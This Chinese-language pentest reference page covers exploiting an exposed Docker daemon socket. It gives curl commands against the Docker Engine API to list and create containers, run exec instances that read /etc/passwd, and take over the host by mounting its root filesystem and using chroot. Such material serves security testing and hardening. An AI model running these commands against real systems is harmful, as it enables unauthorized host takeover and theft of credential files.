暴露的Docker Socket
Docker守护进程可以通过三种不同类型的套接字监听Docker引擎API请求:
unix
tcp
fd
默认情况下,Docker通过非网络UNIX套接字运行,该套接字创建在/var/run/docker.sock
,需要root权限或docker组成员资格。
tcp
套接字用于远程访问Docker守护进程,默认设置提供未加密和未认证的直接访问。通常使用端口2375进行未加密通信,使用端口2376进行与守护进程的加密通信。
在基于Systemd的系统上,与Docker守护进程的通信可以通过Systemd套接字fd://
进行。
有时Docker守护进程可以在容器内部或通过网络访问。这通常导致在主机系统上执行命令和从容器逃逸。
列出所有容器
使用curl
命令通过unix
套接字列出主机上的所有容器。
$ curl -s --unix-socket /var/run/docker.sock http:/containers/json
使用curl
命令通过tcp
套接字列出主机上的所有容器。
$ curl -s http://<host>:<port>/containers/json
创建容器
使用curl
命令通过unix
套接字创建容器。
$ export CONTAINER_NAME=test-container
$ curl \
-s \
--unix-socket /var/run/docker.sock \
"http:/containers/create?name=${CONTAINER_NAME}" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
使用curl
命令通过tcp
套接字创建容器。
$ export CONTAINER_NAME=test-container
$ curl \
-s \
"http://<host>:<port>/containers/create?name=${CONTAINER_NAME}" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
启动容器
$ export CONTAINER_NAME=test-container
$ curl \
-s \
"http://<host>:<port>/containers/${CONTAINER_NAME}/start" \
-X POST \
-H "Content-Type: application/json"
在容器中执行代码
首先需要创建一个将在容器中运行的exec
实例。
$ curl \
-s \
"http://<host>:<port>/containers/<container_id>/exec" \
-X POST \
-H "Content-Type: application/json" \
-d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'
HTTP/1.1 201 Created
...
{"Id":"913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3"}
现在exec
已经创建,您需要运行它。
$ export EXEC_ID=913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3
$ curl \
-s \
"http://<host>:<port>/exec/${EXEC_ID}/start"
-X POST \
-H "Content-Type: application/json" \
-d '{"Detach": false,"Tty": false}' \
HTTP/1.1 200 OK
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
主机接管
要在主机系统上执行命令,启动Docker容器并将主机根目录挂载到容器卷上。
下载ubuntu镜像。
$ curl \ -s \ "http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \ -X POST \ -H 'Content-Type: application/json'
创建容器。
$ curl \ -s \ "http://<host>:<port>/containers/create" -X POST \ -H "Content-Type: application/json" \ -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'
启动容器。
为了在主机系统上执行命令,更改根目录。
$ chroot /hostfs
参考资料
最后更新于